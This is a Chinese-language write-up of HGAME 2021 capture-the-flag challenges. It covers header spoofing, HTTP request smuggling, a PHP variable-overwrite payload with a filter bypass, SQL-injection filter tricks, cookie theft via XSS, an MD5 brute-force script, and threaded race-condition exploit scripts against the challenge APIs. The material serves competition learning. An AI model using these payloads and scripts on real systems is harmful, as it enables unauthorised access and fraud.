Skip to content

HGAME 2021 Writeup (部分)

官方地址: https://hgame.vidar.club/

Week1

Web

  • Hitchhiking_in_the_Galaxy

Description

第一次在银河系里搭顺风车,要准备啥,在线等,挺急的

网址打开是一个 404 页面,下附一个可点击的链接:“我要搭顺风车!”,

用 Burp 抓一下,不出所料有一个 302 跳转,查看之,Title 提示 405 Method Not Allowed

遂改原 GET 方法为 POST 重新发包(此步之后到 Repeater 模块处操作),

得响应:“只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~

根据经验猜测修改 User-Agent 头,

后续依次修改 Referer 头以及 X-Forwarded-For 头即得flag

  • watermelon

Description

简单且上头的游戏

结合时事 “合成大西瓜”,此时网络上已经有众多源码分析,此题即考 js审计

我搜索的字符串 is_number 啥的,使得每次合成的时候获得的分数剧增,然后玩一把到游戏结束检测到分数超过2000就弹flag

NOTE: chrome 系的 devtools 可以直接在 source 改 js 代码,然而 firefox 改不了,怪哉!

官方wp上写的也可以查找 gameover

  • 宝藏走私者

Description

hint: 注意留意服务器信息 资料:https://paper.seebug.org/1048/ 宝藏走私者 Switch 喜欢偷盗并将奇特的宝藏走私到一些黑市商家手中。 为了阻止其继续作恶,警探 Liki 奉命将 Switch 抓捕归案。 调查过程中,Liki 发现 Switch 将一个秘密藏在了一个私人服务器中。 这或许会成为后续追查 Switch 的重大线索,你能找到这个秘密吗?

考察 http_smuggler,出题者后面直接 hint 给出学习资料了

改 CL-TE 头偷鸡即可,(怀疑我是靠 Intruduer 模块上了别人的车。。。

  • 智商检测鸡

Description

又有谁不爱高数呢?反正我不爱(请使用firefox浏览器打开题目)

100道题简单计算题,也有老哥是手算的。。

正好这个寒假刚刚开始看 python,亦步亦趋学了下 requests 发包

艰辛摸索过程不表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import re
import sympy
import json

url = "http://r4u.top:5000/"

session = requests.Session()
session.post(url + 'api/verify')

for i in range(100):
    Q = session.get(url + 'api/getQuestion')
    num = re.findall('(?<=\>)\d+(?=\<)', Q.text)

    x = sympy.symbols('x')
    below = -int(num[0])
    above = int(num[1])
    func = num[2] + '*x+' + num[3]
    ans = sympy.integrate(func, (x, below, above))
    ans = '%.2f' % ans
    ans = str(ans)
    print('========================\n' + ans)

    headers = {'Content-Type': 'application/json'}
    body = {'answer': ans}
    A=session.post(url=url + 'api/verify', headers=headers, data=json.dumps(body))

    S = session.get(url + 'api/getStatus')
    print(session.cookies.get_dict())
    print(S.text)
flag = session.get(url + 'api/getFlag')
print(flag.text)
  • 走私者的愤怒

这道题是对 宝藏走私者 打的补丁,尽可能避免顺风车,考点相同

MISC

  • Base全家福

Description

新年即将来临之际,Base家族也团聚了,他们用他们特有的打招呼方式向你问了个好,你知道他们在说什么吗? R1k0RE1OWldHRTNFSU5SVkc1QkRLTlpXR1VaVENOUlRHTVlETVJCV0dVMlVNTlpVR01ZREtSUlVIQTJET01aVUdSQ0RHTVpWSVlaVEVNWlFHTVpER01KWElRPT09PT09

Base64、Base32、Base16 依次解码

  • 不起眼的压缩包的养成的方法

Description

0x4qE给了张图给我,说这图暗藏玄机,你能帮我找出来吗?

图片可分离出压缩包,压缩包有注释(有的分离方式好像看不到):

”Password is picture ID (Up to 8 digits)“

AAPR 直接爆 8 位数字(官方wp说可以猜到是Pixiv ID)

解压出来得到 plain.zipNO PASSWORD.txt,打开plain.zip发现里面还有NO PASSWORD.txt,且大小与已解压的相同,猜测是明文攻击,根据 txt 内容 :

“By the way, I only use storage.”

可推知压缩时采用 仅存储,然后用 AAPR 进行明文攻击,得 flag.zip

再由 txt 内容:

“Because it's too strong or null. XD”

null 可能☞伪加密,010editor 查看改一下加密位即可解压,

得一串 html 编码,解码得 flag

  • Galaxy

Description

Akira的信物:用于提升Akira的潜能。一张藏着秘密的星空壁纸,不幸的是似乎在某次行动中遗失了。

附件后缀 .pcapng,使用 WireShark 做流量分析,可提取出一张星空图片

本菜依次尝试图片隐写常见解法,最后试到 010editor 修改高度位发现隐于图片底部的 flag

Nameless 解释是图片的 CRC32 校验不对,然后据此改为正确的长宽,而我就直接用 010editor的 png 模板随便把 height 改大了一点😅

  • Word RE:MASTER

Description

timmix不知所踪,只留下了两个word文档,作为word专家的你能帮忙找出他的去向吗?

first.docx 解压,在得到的 word 文件夹里发现 password.xml

解里面的 brianfuck 代码可得第二个文档maimai.docx 的密码

进入之后,需在 Word 的选项中开启显示隐藏文字,可看到一堆空白字符(制表、空格)

套路,也可根据密码:“DOYOUKNOWHIDDEN?” 猜测

里面的图片在当时没想到思路,

“喜欢!雪!这是真实的魔法!(卧槽!下雪了!牛逼阿!)”

提示了 SNOW 隐写,当然有经验的可根据这一堆空白字符联想到

SNOW 解码就出了

Week2

Web

  • LazyDogR4U

Description

懒狗R4u把Flag藏起来了,但由于他是懒狗,所以flag藏的很不安全。

源码泄露 www.zip,由于经验不足,我去扫东方明珠塔了,被 ban 了一段时间 ip

然而最后这道题卡了会儿,咕咕掉了

照着官方的wp记录下

flag.php

1
2
3
4
5
<?php
    if($_SESSION['username'] ==='admin'){
        echo"<h3 style='color: white'>admin将于今日获取自己忠实flag</h3>";
        echo"<h3 style='color: white'>$flag</h3>";
    }

lazy.php:将 _GET_POST 传入的变量全部注册为普通变量,造成了变量覆盖

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
    $filter= ["SESSION", "SEVER", "COOKIE", "GLOBALS"];
// 直接注册所有变量,这样我就能少打字力,芜湖~
foreach(array('_GET','_POST') as$_request){
    foreach ($$_requestas$_k=>$_v){
        foreach ($filteras$youBadBad){
            $_k=str_replace($youBadBad, '', $_k);
        }
        ${$_k} =$_v;    
    }
}

考虑将 _SESSION['username'] 覆盖为 admin

双写即可绕过这种替换为空的过滤方式

以下出题人提示:

传入数组的时候有个小小的坑,键名不可以加引号,可以自己尝试一下看看有什么不同。

当传入的形式为 ?a['b']=1 时,$_GET 数组为:

1
2
3
4
array (size=1)
    'a' =>  
      array (size=1) 
          ''b'' => string '1' (length=1)

payload:flag.php?_SESSESSIONSION[username]=admin

题目里 testuser 帐号处还能够利用弱比较能够绕过密码登录,但是没什么用。

  • Post to zuckonit

Description

d1gg12 新学了HTML,一起来看看他写的在线博客吧!

考的 XSS 基本过滤和绕过

这题我偷懒了,用 XSS平台 生成的代码一把梭上去拿到了cookie

验证md5的脚本改了下别人的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import hashlib

addStr = '' #addStr is not used in this problem
knownMd5 = '4740b6' #Here to change your knownMd5

dict = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'

def md5(text):
    return hashlib.md5(str(text).encode('utf-8')).hexdigest()

for i in dict:
  for j in dict:
      for k in dict:
          for l in dict:
            x = i + k + j + l
            b = x + addStr
            codeMd5 = md5(b)
            if codeMd5[:6] == knownMd5:
                print(x)
  • 200OK!!

Description

hint: status 字段会有什么坏心思呢? hint: 这些字符串存在哪里呢?变量?还是...? 今天你 PTSD 了吗?

太菜了,在 Status 字段手注到自闭也没打出来,黑盒着实难以整活

PO 一下官方解析:

看看 Network 发现 /server.php

测试后发现 Header 中的 Status 处可以注入

过滤的字符串是['select','SELECT','from','FROM','union','UNION','where','WHERE',' ']

我们用 /**/ 替代空格,然后大小写混合绕过过滤

  • Liki的生日礼物

Description

Liki生日快要到了,她想要一台switch,你能帮帮她么?

钱差一点点买够的题,考条件竞争,多线程发包(但是我用 Burp 搞不定)

学 Python 我也是咕咕人,搜索了一圈没有现成的脚本可以*借鉴*,

一些类似题目调用 threading 库的看的很痛苦

于是乎翻阅往期 hgame ,竟然真的找到一道可以偷师的题的脚本

附上成品(终·多次雕琢·一键傻瓜式操作版):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests, json
import threading, time
import random

#注册随机用户
def register():
    ran_name = ''.join(random.sample('Ca5io3AbcdefghIjklmnO',8))
    ran_password = ''.join(random.sample('Ca5io3AbcdefghIjklmnO',8))
    global user
    user = {
        "name": ran_name,
        "password": "Ca5io3"
    }
    try:
        s.post(url="{}?m=register".format(host),data=user)
    except:
        print("Register failed")
        exit()
#这里把自己作到了,随机的时候加了[email protected]这些字符,结果登录非法,偏偏我写的又是假的try,所以在money那里取数据的时候才报错

#购买兑换券
def buy():
    data = {
        "amount": 3
    }
    try:
        s.post(url="{}?m=buy".format(host),data=data)
    except:
        print("Buy failed")

host = "https://birthday.liki.link/API/"
user = {
    "name": "1919180",
    "password": "1919180"
}

#注册并登入会话
s = requests.Session()
register()
try:
    s.post(url="{}?m=login".format(host),data=user)
    print("Current userinfo:")
    print(user)
except:
    print("Login failed")
    exit()

while True:
    info =  json.loads(s.get("{}?m=getinfo".format(host)).text)
    money = info['data']['money']
    num = info['data']['num']
    print('Current money:' + str(money))
    print('Current num:' + str(num))
    print("===Waiting...===")
    if num >= 52:
        res = json.loads(s.get("{}?m=getflag".format(host)).text)
        flag = res['data']
        print(flag)
        break
    for j in range(50):
        t = threading.Thread(target=buy)
        t.start()
    time.sleep(5)

本题官方 exp(和往届那道题风格很像:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import threading
import requests
import json
import time
host = "https://birthday.liki.link/API/"
user = {
    "name": "test",
    "password": "test"
}
s = requests.session()
s.post(url="{}?m=login".format(host), data=user)
def post():
    data = {
        "amount": "1"
    }
    url = "{}?m=buy".format(host)
    try:
        s.post(url=url, data=data)
    except:
        print("Failed.")
    return
while True:
    info = json.loads(s.get("{}?m=getinfo".format(host)).text)
    money = info['data']['money']
    num = info['data']['num']
    print(money)
    print(num)
    if num>= 52:
        print(s.get("{}?m=getflag".format(host)).text)
        break
    for i in range(21):
        t = threading.Thread(target=post)
        t.start()

    time.sleep(5)

Week3

😅

Week4

😅

Back to top